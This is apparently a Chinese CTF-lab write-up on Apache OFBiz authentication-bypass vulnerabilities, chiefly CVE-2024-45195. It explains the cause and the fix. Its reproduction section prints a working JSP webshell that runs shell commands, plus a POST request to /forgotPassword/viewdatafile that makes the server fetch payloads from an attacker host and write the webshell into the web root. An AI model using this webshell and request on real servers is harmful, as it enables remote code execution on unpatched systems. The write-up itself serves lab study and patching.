春秋云镜-Apache OFBiz历史漏洞

  1. CVE-2024-36104✓
  2. CVE-2024-32113✓
  3. CVE-2024-38856✓
  4. CVE-2024-45195
    1. 1、概述
    2. 2、分析
    3. 3、复现
    4. 4、修复

CVE-2024-36104✓

CVE-2024-32113✓

CVE-2024-38856✓

​CVE编号​ ​漏洞类型​ ​利用方式​ ​影响版本​ ​修复版本​ ​关键区别​
​CVE-2024-32113​ 路径遍历 → RCE 通过特殊字符(如;)绕过路径校验,访问受限接口 旧版本(未明确) 18.12.14+ ​利用字符解析缺陷​​,非标准路径遍历
​CVE-2024-36104​ 路径遍历 → RCE 构造 /forgotPassword/%2e%2e/ProgramExport 路径绕过认证 < 18.12.14 18.12.14+ ​路径遍历技巧不同​​,但最终触发点相同
​CVE-2024-38856​ 认证绕过 → RCE 通过 /forgotPassword 绕过权限,调用 ProgramExport 执行Groovy代码 < 18.12.14 18.12.14+ ​直接利用Groovy接口​​,无需文件写入
​CVE-2024-45195​ SSRF → 文件写入 → RCE 通过 viewdatafile 接口远程加载恶意CSV/XML,写入JSP木马 < 18.12.16 18.12.16+ ​需文件写入+Web目录访问​​,利用链更长

CVE-2024-45195

1、概述

该漏洞是由于之前漏洞(CVE-2024-32113、CVE-2024-36104 和 CVE-2024-38856)未完全修复所导致。在 Apache OFBiz 版本 18.12.16 之前,开发人员对这些先前的问题进行了修复,但控制器视图地图状态不同步的根本问题仍然存在。这使得攻击者能够绕过身份验证并访问敏感的仅限管理员的视图地图。

影响范围​​:

  • Apache OFBiz 版本 < 18.12.16
  • 涉及功能模块:/webtools/control/viewdatafile 接口

2、分析

漏洞成因​​:

  1. ​权限绕过​​:
    Apache OFBiz 在处理 /viewdatafile 接口时,未对请求路径进行严格的权限校验。攻击者可通过构造包含 /forgotPassword 等公开接口的 URL(如 /webtools/control/forgotPassword/viewdatafile),绕过身份验证机制
  2. ​文件写入逻辑缺陷​​:
    该接口允许通过参数 DATAFILE_SAVE 指定文件保存路径,并通过 DATAFILE_LOCATION 和 DEFINITION_LOCATION 远程加载恶意 CSV/JSP 和 XML 配置文件。攻击者可利用此功能将木马写入 Web 目录(如 ./applications/accounting/webapp/accounting/index.jsp
  3. ​动态脚本执行​​:
    写入的 JSP 文件会被 Apache Tomcat 解析,攻击者通过 URL 参数(如 ?cmd=calc)触发命令执行

3、复现

(1)、在服务器 <attacker-ip> 上部署恶意 XML 文件和 CSV 文件

第一个文件是 rceschema.xml,此 XML schema 文件定义了恶意 JSP 的结构:

<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
        <record name="rceentry" limit="many">
            <field name="jsp" type="String" length="605" position="0"></field>
        </record>
    </data-file>
</data-files>

第二个文件是 rcereport.csv,此 CSV 文件包含实际的 JSP 代码:

<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,

启动Python内置HTTP服务器

# 进入文件所在目录
cd /path/to/files

# 启动Python HTTP服务(默认端口8000)
python3 -m http.server 8000

sudo ufw allow 8000/tcp 

(2)、发送请求
该请求通过利用 viewdatafile 视图地图将恶意 JSP 文件写入 Web 根目录,从而利用了该漏洞实现远程代码执行。

POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host: localhost:34583
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://<attacker-ip>/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://<attacker-ip>/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

(3)、执行任意命令
在 JSP webshell 被写入后,通过 https://39.106.48.123:34583/accounting/index.jsp?cmd=cat /flag 执行任意命令

4、修复

官方修复的核心改动​:

​(1) 权限校验强化​

  • ​问题根源​​:原漏洞利用路径 /webtools/control/forgotPassword/viewdatafile 通过嵌套公开接口(forgotPassword)绕过权限检查。
  • ​修复方式​​:
    在 ControlFilter.java 中修改请求路由逻辑,​​强制要求精确匹配控制器定义的接口路径​​,禁止通过路径遍历(如 /forgotPassword/../viewdatafile)访问受限接口。
// 修复前:松散匹配路径
if (requestUri.contains("viewdatafile")) { /* 执行逻辑 */ }

// 修复后:严格校验完整路径
if (requestUri.equals("/webtools/control/viewdatafile")) { /* 执行逻辑 */ }


(2) 文件写入限制​​

  • ​问题根源​​:viewdatafile 接口允许通过 DATAFILE_LOCATION 参数加载远程文件并写入任意路径。
  • ​修复方式​​:
    • 移除通过 URL 加载外部文件的功能(DATAFILE_IS_URL 和 DEFINITION_IS_URL 参数失效)。
    • 限制文件保存路径必须在安全目录内(如临时目录),禁止写入 Web 根目录。
// 修复后代码片段(FileUtil.java)
if (savePath.contains("webapp")) {
    throw new SecurityException("禁止写入Web目录");
}

​(3) 输入参数过滤​​

  • ​问题根源​​:未对 DATAFILE_SAVE 和 DEFINITION_LOCATION 参数进行过滤。
  • ​修复方式​​:
    增加对参数内容的黑名单校验,禁止包含 ../WEB-INFwebapp 等敏感路径:
if (parameterValue.matches(".*(\\.\\./|WEB-INF|webapp).*")) {
    throw new SecurityException("非法路径参数");
}

梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。